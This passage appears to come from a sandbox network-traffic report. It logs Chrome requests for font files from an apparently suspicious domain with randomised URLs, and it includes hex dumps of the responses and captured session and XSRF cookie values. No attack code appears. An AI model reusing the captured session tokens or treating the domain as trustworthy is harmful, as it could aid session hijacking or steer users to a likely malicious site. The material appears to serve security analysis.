2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 01 9e fc 08 66 54 06 e8 43 9f 00 7a d1 51 d2 ff 53 e3 0c fc ba 97 82 80 09 f0 ee 44 97 c3 a7 7b 28 9b bb 70 17 ea c3 06 1b 94 ce 09 9c 40 bd d8 0b df 9f 0e df df 0d e7 49 dc 1d e7 c9 7c 09 f5 e4 00 a7 a2 67 0f 4e c3 fd 0c 86 3c b9 37 e7 d0 15 7c 25 5f 49 89 dc 8f af c6 9d 6b 78 20 75 e7 eb 78 10 65 f1 60 1e 49 c9 7c 3b 8f a6 4b f8 4e be 87 02 3c 86 c7 51 26 a2 09 ec 14 f1 e4 e7 d4 83 a7 f0 14 1a c8 53 79 2a f5 e6 a7 f8 29 4a e2 5f f0 2f 70 fe 34 3f 8d f3 5f f2 7f a2 cf 34 9e 46 5d f9 57 fc 2b 4a e3 67 f8 19 9c ff 9a 7f 8d f3 e9 3c 9d ae e1 19 3c 83 46 f1 4c 9e 49 f7 f0 2c 9e 45 63 78 36 cf a6 2b 79 0e cf a1 7e 88 59 cf 92 0f 51 eb 79 1c e7 f2 5c 1a cd f3 78 1e 0d e0 f9 3c 9f 46 f0 0b fc 5f d4 8d 17 f0 02 1a cc 0b 79 21 dd c0 8b 78 11 dd c6 8b 79 31 8d 44 Data Ascii: fTCzQSD{(p@I\|gN<7\|%_Ikx uxe`I\|;KN<Q&Sy*)J_/p4?_4F]W+Jg<<FLI,Ecx6+y~YQy\x<F_y!xy1D
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: d4 78 7b d0 09 56 fc 65 d3 59 e7 6c 68 71 b1 e9 f3 68 41 07 6e a4 2f 03 4c d7 60 46 90 ca 72 b2 58 c3 7a b9 a6 2b cf 74 fd a0 33 4e 44 a9 ae 2d 4e 41 a9 ae 18 37 d1 9d e6 2e 74 d3 dd e5 6e 96 9b e3 e6 b9 7b dc 7c f7 47 f7 94 57 c3 8b f0 ea 79 9e e9 6a e1 b5 2f d7 b5 f2 5f 75 55 fb 8b ae 81 a6 8b 60 a8 e9 52 99 2e 4d 84 e2 4d a6 2f 86 58 3a f1 f7 51 07 8a 8e 96 dd 16 0d 2b 1a 54 94 04 e7 22 8a ea f2 9f 23 98 50 be 0e 0e a6 06 63 83 93 03 e7 82 04 ce 04 7e 0d 14 06 32 02 63 02 ab 8f 3f 75 fc 49 ff 01 7f be 7f 07 f8 73 fc ab fc cb fc 63 fd f1 fe f8 a3 95 4a 9e aa 38 27 ec 40 58 be 75 35 c5 8a 4c 9b 39 e5 af cd 65 0b 47 f9 98 13 7c ad 34 70 06 da 4c 76 52 9c f9 65 db 65 ab 93 e6 2c 71 32 9d 2c 67 8d 93 e3 6c 74 f2 9c 5d ce 1e 27 df 29 70 0e db de 61 e7 b8 f3 Data Ascii: x{VeYlhqhAn/L`FrXz+t3ND-NA7.tn{\|GWyj/_uU`R.MM/X:Q+T"#Pc~2c?uIscJ8'@Xu5L9eG\|4pLvRee,q2,glt]')pa
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: e7 77 42 0f dd 51 9c cd 88 38 a8 cf e1 0e 1e b3 ac 77 39 03 ed fa a0 0a 84 dc dd 00 40 ad d5 6a 55 ea c0 24 8c 0d 2c fc c3 3a d6 c0 7c c5 98 85 bf ae b0 7f be 52 18 66 cc 8d 3f c4 db f9 9d 77 d6 61 b3 70 83 df 29 3c 6a ff 92 e0 ce a2 f3 08 71 27 e1 19 7e 28 14 c5 a0 02 5b ae 1b 06 d4 cb 54 98 41 40 54 be 1d b1 2c 41 1c 79 97 ab 31 c7 11 da 60 1f 5c 11 1e e6 af 33 1a c2 62 c2 63 42 82 74 a1 fe a1 29 51 1a e8 94 ce 90 11 c1 e8 fd 55 ea 80 00 bd bf 37 63 34 e0 8c 2c 4b 66 9c d1 a8 95 de 18 b4 e7 f1 5f 17 9e 58 61 2b 29 ef 5e 51 bc fe dc 90 fd 36 83 e6 2f 1c 5a 74 1b c7 77 0f ae e9 11 3e e5 77 66 b6 ed ae 69 bf 2f 33 fd cc 8a 96 23 83 05 6c 79 fd bc 92 4e e1 a4 fd d1 ae ae a6 7e 61 39 a5 77 d3 e8 6d 7e 35 7f 04 19 50 ba 2d 25 32 c2 db 0b 46 11 97 21 86 c1 cd Data Ascii: wBQ8w9@jU$,:\|Rf?wap)<jq'~([TA@T,Ay1`\3bcBt)QU7c4,Kf_Xa+)^Q6/Ztw>wfi/3#lyN~a9wm~5P-%2F!
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 09 74 85 c9 1a 98 95 e5 48 3f e6 9f 4e f4 9b 3d f3 f5 93 af 57 bc dc 9b d3 1e ff e6 73 af 44 45 7c 0b 19 1f fc a6 f9 ad c3 6f 25 a7 7e a6 d3 5d 3b f0 5a e1 d1 86 71 d4 94 74 0a f7 33 a0 a7 0f 0a 42 19 b6 54 16 2c 07 a2 a5 45 93 a0 1d 24 3a db 88 1c cc 02 ad 6f a0 de 37 48 1b 64 d0 6a fd d5 c0 5d 18 50 87 c9 64 24 c2 03 28 ac 50 96 bb ef f8 1e 3c 28 7c 24 bc f6 92 80 47 fa cf 6c 9c 21 68 97 ad 5d b7 f4 2f ec 5f 77 ff 34 c9 7e 80 a9 b7 bf c0 ef cc ed 7b 44 f8 b2 bd ae ae 4d 78 98 cc b3 e4 d1 db 5c 3a d0 38 89 e8 df b0 50 15 cf 61 16 24 07 cb 32 cd 40 e4 00 51 7c 28 fa 37 2a 22 38 d0 d3 1d 25 e1 24 5e 11 20 11 ac 99 62 10 13 67 c9 2c 04 e9 1a 20 0a 5b 15 a1 23 19 7d 66 da c0 4b 7b 9a 7c 47 dc 32 2b ba b2 57 ae 78 7f 14 bd 3f 75 e5 33 ed 4f 7e 91 fd 45 74 5f Data Ascii: tH?N=WsDE\|o%~];Zqt3BT,E$:o7Hdj]Pd$(P<(\|$Gl!h]/_w4~{DMx\:8Pa$2@Q\|(7*"8%$^ bg, [#}fK{\|G2+Wx?u3O~Et_
2024-04-16 19:40:09 UTC	674	IN	Data Raw: 7b 68 80 11 c0 39 21 d2 48 56 33 2d ac 8c 9d 9f af 3b 35 4d 38 8a 13 28 19 40 0a 94 cb 38 52 16 e5 36 17 46 65 64 09 d5 4d c9 71 d1 39 01 04 81 ca 48 6b f9 94 e9 cb 52 09 e1 22 7a 6d c6 e4 b0 f0 85 96 5c a2 d7 84 4a aa d7 d2 50 be 2d 27 19 f3 38 05 23 9e 29 23 5e 2a 55 8e 74 3a 06 96 83 71 81 5a 94 91 4d 4a 08 0f 03 db c2 c7 5d 85 d2 70 9a c3 c8 aa a2 8d 93 28 3e 95 5a 45 fe 3b 50 6b d7 92 2d d1 31 ee 01 1e f7 fd 6c 1b 51 87 4b ea eb 87 6c 21 42 79 43 c0 d4 a8 cc 34 85 6a 30 de 96 9e 0c 5c fd 20 68 c8 d6 71 1a f2 85 27 6e 36 04 64 45 65 36 a5 c8 54 24 fc da 02 f3 0d a4 20 f2 45 91 28 cb 66 06 9e 52 63 06 ac 77 62 1a 49 f2 56 e3 10 c0 f0 d3 12 cb 30 24 48 1b e9 17 a9 05 db d3 8d 58 e0 8e 3e b8 d6 68 31 63 c5 0f 27 83 fe d3 f1 be f8 92 25 63 de 38 ee 13 1e Data Ascii: {h9!HV3-;5M8(@8R6FedMq9HkR"zm\JP-'8#)#^*Ut:qZMJ]p(>ZE;Pk-1lQKl!ByC4j0\ hq'n6dEe6T$ E(fRcwbIV0$HX>h1c'%c8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49778	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:08 UTC	1422	OUT	GET /78znHbZYRRXfAgqb9845YeYc8Jyst60 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://qnh3b.putimp.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InMyeXltQWU2K3h3cGdQdTE1T2x0VUE9PSIsInZhbHVlIjoiQnBxd0FqUHpGT044d3pKVFJxckdNRDZueGJMOXhZeXpOcUlvLzdsSnZUZzNKTTE5N3dKQUY4MlNqMStNODBydTF6U1o2MkhnRk8zek90KzB2eEtoQktmOVNhMWhHSkhDU1lKS1pjQU0rWWp3bTU1UzBkTTZETTRmcHc4ZWtzYWQiLCJtYWMiOiJkYjIyYWJmOTQ1YmYxNWEwYjg0NDViM2FhMDM4M2ZkMGNjMGZlNjc1Zjc2MGJmZTVlMDcxMjczYWRmNjFlZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNIeXAwSkdJeEdRUmJRNk0rTVhNdHc9PSIsInZhbHVlIjoiTTlvNGR1WFZ0cXJQNHVyTnFtUjlaL3lKV1h1Tjl2anNtdGJReTlBREtyU0RtdkwvYThhNTJBQXNSL0c3Vmc2TXV5SGYrSTZQaFNOTXF3c3pVWEpxRnd4dnRQQWZ1azl4QnBid2Q0UUtaYXlRRlZZcjlUb0d1MlBDd0RRcXJDVUQiLCJtYWMiOiJhOTVjMDkzYWU5MDI0OGY4ZGQ0ZjlkZjQ2NjQyMTdiMDQ3NzJkOGI1OGZkY2EzY2NmZGIxMDJkMTZiOTA5ODUwIiwidGFnIjoiIn0%3D
2024-04-16 19:40:09 UTC	733	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:09 GMT Content-Type: font/woff2 Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="78znHbZYRRXfAgqb9845YeYc8Jyst60" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=or%2B3wO5ZFKxwhCoCtP5Gh3%2FC0G2tz7OgJr%2F9OWdfBp48DkjVTCqcEHU54qjiJxzsuTBgasXCdIkJhmCX2bWRgzv1t88P6hPsMcGYV3k9Tsn%2BmKOJLTkJlFlMbq5%2F1w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a53b2b55adb3-ATL
2024-04-16 19:40:09 UTC	636	IN	Data Raw: 32 64 33 65 0d 0a 77 4f 46 32 00 01 00 00 00 00 6f a8 00 10 00 00 00 01 36 78 00 00 6f 47 00 01 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 81 bc 3e 1c 89 16 06 60 00 8e 3c 08 3c 09 97 62 11 08 0a 82 c0 68 82 a2 42 01 36 02 24 03 8e 78 0b 87 3e 00 04 20 05 8c 27 07 97 7b 0c 81 0d 5b 78 22 71 04 dd b6 5d c4 a2 0a ca 1b ec 97 68 4a b7 df b3 0a d8 b1 27 dc 0e e2 ce 96 b5 c5 0a 36 ae 32 bb 5b 95 0a ec 05 71 f6 ff ff 7f 7a d2 88 b1 6d 43 77 77 ff 00 08 2a a9 65 55 b0 0a 53 9a a2 10 14 ad 17 8a 9a 11 30 8d c1 53 1a 73 a6 e1 b6 2c ad b0 c2 e4 5c e5 65 96 de 46 b1 26 ef 94 d7 16 8d 6f 55 2a 52 1a 7d 51 f7 43 8e e7 32 b9 54 44 c8 b6 e1 0a d3 35 11 09 23 e7 fa 68 14 48 a4 32 ac 7c 3c e8 31 a3 7a a7 a2 5d cf 78 5a f4 95 0f 7a 9d f0 7a b2 e4 Data Ascii: 2d3ewOF2o6xoGB>`<<bhB6$x> '{[x"q]hJ'62[qzmCwweUS0Ss,\eF&oUR}QC2TD5#hH2\|<1z]xZzz
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 04 61 6e 6c 2f 4e 54 b7 a5 f4 aa 4b c6 dd fb f0 6b ea fb 41 a4 cb 05 10 da 8e a0 c6 cc a9 09 d9 ff 55 35 53 96 3d cb 74 5b 86 29 2f 73 d6 52 b7 eb a5 c9 f6 dd b9 17 b5 46 99 94 29 36 48 20 41 01 d4 27 3f 21 fe f9 e7 a8 dd 37 53 d1 b2 ab a4 89 15 77 3a de 8e 25 92 48 96 40 d1 08 b6 6c 3f ff 03 00 6c 6d 16 ef 6c 55 64 20 44 fe 99 a9 2d af 00 fe 0b 20 00 9e 7f f7 d3 db e4 35 29 e5 97 60 00 e0 77 26 a7 ec 8c 51 bd 04 a5 aa 2d c9 13 20 11 06 0d 39 e4 58 74 9e 2f 53 51 3f 14 73 2b 75 0c 39 ee 1f 5c b1 68 d4 6c b0 47 cb 23 fc 2a a7 d5 23 40 83 46 d2 88 c9 66 c5 31 84 66 01 9d 3d 60 1f f0 e3 f1 70 ca 0b 01 a0 c2 94 3d 63 f0 be d9 92 66 3d 9c eb 70 20 34 42 79 0e 75 ff 7a 27 cb 0f ee 24 3b 04 73 b6 a4 dd 16 db 7a d0 f6 e3 e3 12 58 be c5 6e 36 79 2d e0 06 b4 05 18 Data Ascii: anl/NTKkAU5S=t[)/sRF)6H A'?!7Sw:%H@l?lmlUd D- 5)`w&Q- 9Xt/SQ?s+u9\hlG#*#@Ff1f=`p=cf=p 4Byuz'$;szXn6y-
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 7d 20 e8 54 30 d5 04 14 00 26 1a 2c 0b 54 b2 80 cb 34 90 36 a9 da b5 c2 17 d7 d5 c7 90 71 2b cd 8a 60 60 37 d2 71 3f 7f f5 e7 60 9b f1 b9 00 cd d2 45 52 22 f4 ee 56 07 ac a1 1f 48 86 e6 07 d6 ad 42 75 b7 65 82 d8 84 02 a2 da 84 a1 5c 49 4e 75 af 8f c3 b7 ea f1 a2 94 58 66 80 80 6c 25 f3 d8 75 af ac f0 67 57 7b 6a 37 a8 f2 f0 68 7a 37 c0 f7 bd 4d be ef 69 9d 44 eb 95 0e 88 ec 30 d0 66 50 36 51 17 59 8c ca 45 0b 23 fa 81 55 bc 59 5f 55 fe a0 40 a1 20 35 57 9b d4 3c b9 b3 29 ed a7 16 d3 13 45 0b c5 4c 25 f1 30 23 97 d9 4e bd 28 ab 1d d0 c2 14 6f c9 61 f9 56 40 1e 2b aa 69 29 e1 5a 15 f9 c1 0e 10 e8 40 d0 3a 0c 29 8c a9 39 12 e8 b0 01 e8 f6 ee 52 ab d2 f0 06 94 a4 e3 89 30 00 08 57 44 ed a2 83 bc a0 e0 07 54 5b 4d 54 db a3 29 51 e2 43 bf 56 c9 5a 96 e8 1f 92 Data Ascii: } T0&,T46q+``7q?`ER"VHBue\INuXfl%ugW{j7hz7MiD0fP6QYE#UY_U@ 5W<)EL%0#N(oaV@+i)Z@:)9R0WDT[MT)QCVZ
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 7d cc bd 50 2f 64 4e 3a 81 5d c8 fe 5d c3 7d 8e 8c 32 48 83 77 0d 90 7b 13 d2 57 6e b0 06 4d 75 68 c5 55 77 d5 35 f8 49 26 62 3d d6 a4 e2 ca 23 21 a6 56 a3 4f be 0e 7f 36 9d 5e 71 0c a3 03 92 78 3a c4 c9 65 66 ff 5b b5 c9 5d 7f 97 9a b0 d0 cb 2b a9 2b c6 f5 9c 64 17 83 0b ca ab 0c f2 a6 37 19 bb 54 19 0c 61 de e5 05 7e 1d dd 82 1b f9 eb e4 a2 3b c2 fb bf fc 8c 82 bb fa 9b 75 db a1 66 75 c9 75 d3 64 f1 8c aa ea bf de f8 8f 20 f3 86 3a ba e8 43 54 6a 8a 28 69 af 3c e6 ea b6 b2 5d 1b f8 18 09 92 64 e8 bd 0a 1d e0 d3 ba bc 10 cc cb 06 57 5c 77 bd a9 1a 44 81 23 b1 00 73 e8 10 9d bc f0 cc 39 be 92 1c 86 29 96 14 29 84 bf f5 e6 98 7e 7c d5 7f bf fc c3 77 d3 3c 9d cf ff 57 80 cf 97 9a d9 60 5e bd 00 ef d9 ff 57 bb 7c 10 17 61 91 5f e2 e0 bf 67 17 38 6d 72 f7 c0 Data Ascii: }P/dN:]]}2Hw{WnMuhUw5I&b=#!VO6^qx:ef[]++d7Ta~;ufuud :CTj(i<]dW\wD#s9))~\|w<W`^W\|a_g8mr
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 58 87 3d 09 80 e0 6a bb c0 a0 88 c4 aa 19 91 8f b2 3a 86 a1 c7 51 94 8d 27 34 7e 93 6d 79 84 7f 22 72 18 a7 cd 70 05 69 e3 44 db f8 ff af 9e d4 85 b4 cd e2 18 d5 3f 96 c3 09 cf c6 e4 5c 6d 0a 06 af 81 a3 25 42 c5 20 cd b7 cb aa a1 25 e4 61 93 4d 79 d2 4c 04 ae d7 c0 67 c6 a8 b1 07 00 76 2c 87 64 92 61 c8 f2 82 94 2e 87 d9 21 19 8d f3 72 4e db 0c 09 37 5f 5d ca 6d 2a c2 93 2c 7c e1 4f 0a f5 78 68 ed f3 95 63 92 85 c2 64 da 80 92 57 22 90 60 5c e2 76 78 80 a3 e7 17 e6 65 84 d8 68 fc 45 39 36 9d b6 bd 10 a7 d5 3c 40 98 a4 95 3d 2f 5c b2 3e 4f 05 c0 c6 03 43 4f 91 c1 b6 2a 1c ab 73 0f 48 30 21 8e 1a d3 24 e5 69 1b 45 37 55 e3 c4 1b 70 81 70 c6 8e c3 c7 15 fd d0 6a 42 d4 1a 9b 2c 71 78 1c 68 90 8e 66 52 12 59 39 ec 05 60 4b 10 46 0a d3 3b 4f 93 e9 9c 42 34 fe Data Ascii: X=j:Q'4~my"rpiD?\m%B %aMyLgv,da.!rN7_]m,\|OxhcdW"`\vxehE96<@=/\>OCOsH0!$iE7UppjB,qxhfRY9`KF;OB4
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 77 9b cd fb 55 e0 cd 67 bf 4b 1a d6 82 d7 89 ec 04 00 58 23 21 bb 6d 36 82 f9 8a 2d e1 26 a5 61 bc c8 04 cc 05 ba 85 e5 2c 6d c3 f1 f3 38 00 35 ca 8a 94 b6 b9 45 01 63 8d f5 42 26 23 2b 8f 9e 00 a8 57 ae 4c 7a d7 ca b4 6a 9a 6e 68 45 cb 7a 73 ec ec ca 6a 1d 9c 93 ed e0 d0 ee f2 22 bb e4 a0 57 78 d2 d0 d0 81 98 be 92 68 36 2a 35 6b 19 7e a7 38 2a 13 91 05 2e 44 bf ef c7 df 5e 30 2e a5 1f cd 43 40 1e 70 cc f3 0a 36 82 72 f9 89 38 79 b0 a5 24 70 54 fe 74 60 c5 01 22 5e b9 e6 19 a1 43 02 57 17 2b 13 89 c3 3d af 86 3d 5b 59 ec d0 9d 86 23 f9 67 f1 fb 3a 58 07 48 c6 63 87 75 a2 a8 0c 94 5b bc 1e 8e 82 53 19 0c 24 da 49 3c 17 4c 27 29 d9 9d 80 57 5a ab 4f 76 b1 d5 d5 66 d6 cd 0b 43 de c4 07 9d fb 6a 3d 35 5d 05 18 4d fc cf f3 d5 52 8a 37 07 16 7b c0 bd 19 bc 8f Data Ascii: wUgKX#!m6-&a,m85EcB&#+WLzjnhEzsj"Wxh65k~8.D^0.C@p6r8y$pTt`"^CW+==[Y#g:XHcu[S$I<L')WZOvfCj=5]MR7{
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 79 03 d7 5b 98 b8 c4 dd 5e c3 fd c4 bb 2b 59 77 5f f3 fd 05 45 0f 85 b7 29 ba 15 d0 37 36 f5 56 d2 53 71 9f 74 80 7c 2b 6a a8 8a 41 ca 87 09 70 4e 7c 10 d3 48 b5 c1 ea 46 a9 1f cd 1a ca 3c 46 c3 38 b6 30 91 6e ca 9d a8 73 82 b6 68 5d 93 34 4f 16 ea 4b e5 09 46 a7 1b 53 97 6a 7a 86 a9 74 33 9a 33 f4 dd 17 ce 9f 8d 11 eb 17 13 fc ce e5 66 61 03 b5 46 e9 89 d1 1b ab 7b 8a be a9 a2 c5 b8 43 ea 57 b3 bc 10 37 82 25 84 7d 6c eb e6 e6 16 e5 cc a2 be 5d 7f 9c 81 78 43 89 26 d3 24 7b 66 a6 e7 a6 78 6a 9a 55 d3 3d 36 c3 13 cb bc b7 a6 03 56 fb 2f cd 7d 12 13 c0 38 5c 55 a0 e1 24 e3 29 0d 8d ab 57 ae 5a f3 da 99 73 6a ff 83 13 79 f9 de ad a4 cd b6 da 6b 75 de 3c 4e 5d ab ad 29 8e bd e8 f4 90 28 0f 5f 6c f3 f3 71 f4 b1 c7 9f 78 f2 a9 a7 9f e1 41 ca f5 83 8e 3b ef 36 Data Ascii: y[^+Yw_E)76VSqt\|+jApN\|HF<F80nsh]4OKFSjzt33faF{CW7%}l]xC&${fxjU=6V/}8\U$)WZsjyku<N])(_lqxA;6
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: df 77 8a 65 41 78 9a e0 f5 4b 20 21 68 28 a1 04 43 cc b3 da 4c c4 22 77 ea 2d 86 02 b7 12 c4 07 a7 6e 29 59 2e ed e5 5b 9c 19 24 53 e7 65 8d 02 f8 6b 73 ca d4 3d 31 2c 42 fd 94 37 14 8f 1b c6 ce 0a a6 4e 63 f7 b4 dc c9 ea 4b d7 22 b2 7d cb a9 96 d5 da ca 50 6b 69 5e 7f d7 75 c8 39 42 55 03 f2 3e 12 85 96 02 38 35 49 a6 80 15 1d 11 77 28 e7 e2 34 0b 2d ab af a9 57 67 f7 51 bd 61 37 69 bc 69 4b 76 78 bf 58 39 1e 64 1d 8e 2d 52 6f f1 43 6b ea a6 58 f8 13 68 45 70 b2 db 5a 4d d1 66 ac 0c bc b8 74 db ad f6 4c df 84 10 7c 9b 9c ea 48 0d 9c 0e 4c d5 de a5 81 a8 4e 91 7e be 3d c8 de d1 df a1 59 98 3a 2d 47 0e ae f9 33 c0 16 17 db ed 6f c8 04 34 b3 31 0a 82 b1 49 41 13 32 21 98 26 40 6b 46 10 cc 4d d0 02 82 65 02 75 ad 08 82 b5 09 da 40 b0 4d 80 d2 8e 20 d8 9b a0 Data Ascii: weAxK !h(CL"w-n)Y.[$Seks=1,B7NcK"}Pki^u9BU>85Iw(4-WgQa7iiKvxX9d-RoCkXhEpZMftL\|HLN~=Y:-G3o41IA2!&@kFMeu@M
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 2f a2 26 6d 27 e9 f0 07 62 5d 42 8e b9 0c 3b e3 23 94 ef fd b5 33 02 b3 cd a6 3c 99 f1 f6 84 a6 db 34 19 57 b5 92 7c e9 51 47 8c 7b 09 ee 9c 9c 39 3b b7 21 a8 05 e9 15 66 d0 8e 90 90 6b 92 7f 10 2d de 03 75 06 ca d0 20 71 ec b1 2c 2d d1 5c 51 3a a5 c3 64 5d fd f0 8e 61 4b 38 68 2c c9 64 fd 36 d4 2b 8d 9f 6d 59 11 8e 5b 9d 42 0c 7c 39 12 34 18 9e c9 86 8a fb 19 1b 9a 4e 20 d9 ad ef 8f d4 83 74 ce bb a7 2e 77 88 ac c3 8d 0f b2 51 bb 08 c0 b8 d9 ad 54 c6 3f f5 45 b6 35 f7 cb 1c cb 38 c1 a2 9a 9b bb 68 e1 2e a8 d4 0d b2 c4 ad c9 e2 ab a1 8d df 65 cf 1b 09 af e5 6d 50 2f b2 bc d5 91 41 8b 0c 3c 2c db 32 2a a4 e0 28 ad 42 06 2b ca c1 98 40 6d ea 72 b4 be d5 41 a6 7d 2b 6b 37 24 85 3a 61 fd 7c 04 75 c4 5f a6 e5 5d 66 a6 df a4 f5 e8 28 89 3d ab 0b 0c 6c b4 d2 a8 Data Ascii: /&m'b]B;#3<4W\|QG{9;!fk-u q,-\Q:d]aK8h,d6+mY[B\|94N t.wQT?E58h.emP/A<,2*(B+@mrA}+k7$:a\|u_]f(=l
2024-04-16 19:40:09 UTC	1369	IN	Data Raw: 0d 0a 39 64 33 0d 0a 3b dd 43 ea c9 a5 3f 68 06 28 7d 56 a1 8c a5 72 1e 4a b3 11 6f 3c e7 50 75 98 b7 36 e5 73 10 05 8b 18 6e c9 9e 2d fa af 75 35 f9 fd 31 ba 78 53 2f 17 a7 4a dd 57 86 ad 2c 7b aa b9 69 7d c4 95 52 ed 35 e0 9c 6d ae ba 81 32 02 3c 8f 52 7e dd 99 30 63 82 3b 45 ec 72 c5 8b f9 72 b1 5a ae 59 c0 f6 20 79 e9 22 e2 b1 ce 92 cd 32 93 e2 02 c8 6e e9 23 e8 b0 43 69 8b 41 c0 80 54 b8 1b 3b bc 73 32 24 3c dc a9 94 c8 fd c4 62 cb 69 1a e0 6f 82 ae 79 55 71 5b e8 20 f7 e1 10 fc 2e 89 29 19 ad 45 f6 10 16 12 7c 7b a9 ae e7 89 03 39 7c 32 4f 25 b8 b1 a6 79 4b 84 ec 81 38 13 20 4f dd db 92 0a 82 ab 02 5f f7 76 1d b5 70 ff 5a 4b 61 e9 9a f0 b4 c9 a7 65 19 99 eb d2 ff cc 5a 1d d5 ad 3d a9 dc d7 3f d7 04 87 47 ae d8 83 2a ec 4b 7a 32 cf 40 de 17 24 b5 27 Data Ascii: 9d3;C?h(}VrJo<Pu6sn-u51xS/JW,{i}R5m2<R~0c;ErrZY y"2n#CiAT;s2$<bioyUq[ .)E\|{9\|2O%yK8 O_vpZKaeZ=?G*Kz2@$'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49777	172.67.191.147	443	1228	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 19:40:08 UTC	1424	OUT	GET /23CP8hhTkYf7i1Y7Cu2889TsquUI9xy70 HTTP/1.1 Host: qnh3b.putimp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://qnh3b.putimp.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InMyeXltQWU2K3h3cGdQdTE1T2x0VUE9PSIsInZhbHVlIjoiQnBxd0FqUHpGT044d3pKVFJxckdNRDZueGJMOXhZeXpOcUlvLzdsSnZUZzNKTTE5N3dKQUY4MlNqMStNODBydTF6U1o2MkhnRk8zek90KzB2eEtoQktmOVNhMWhHSkhDU1lKS1pjQU0rWWp3bTU1UzBkTTZETTRmcHc4ZWtzYWQiLCJtYWMiOiJkYjIyYWJmOTQ1YmYxNWEwYjg0NDViM2FhMDM4M2ZkMGNjMGZlNjc1Zjc2MGJmZTVlMDcxMjczYWRmNjFlZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNIeXAwSkdJeEdRUmJRNk0rTVhNdHc9PSIsInZhbHVlIjoiTTlvNGR1WFZ0cXJQNHVyTnFtUjlaL3lKV1h1Tjl2anNtdGJReTlBREtyU0RtdkwvYThhNTJBQXNSL0c3Vmc2TXV5SGYrSTZQaFNOTXF3c3pVWEpxRnd4dnRQQWZ1azl4QnBid2Q0UUtaYXlRRlZZcjlUb0d1MlBDd0RRcXJDVUQiLCJtYWMiOiJhOTVjMDkzYWU5MDI0OGY4ZGQ0ZjlkZjQ2NjQyMTdiMDQ3NzJkOGI1OGZkY2EzY2NmZGIxMDJkMTZiOTA5ODUwIiwidGFnIjoiIn0%3D
2024-04-16 19:40:09 UTC	728	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 19:40:09 GMT Content-Type: font/woff Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="23CP8hhTkYf7i1Y7Cu2889TsquUI9xy70" Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LdybCROfRDjyLGJ5sXgZ39USdB%2FXqA5AXAVIoJhg7P0bqxJncWmj1uU3LKycN2lfTrQOAkXSdRg1i8xDaOpoAqcjrHk5L2EraWBKb%2FCDhQHVT1bkMALGpoLs4YoGUA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8756a53b3d148bb7-ATL
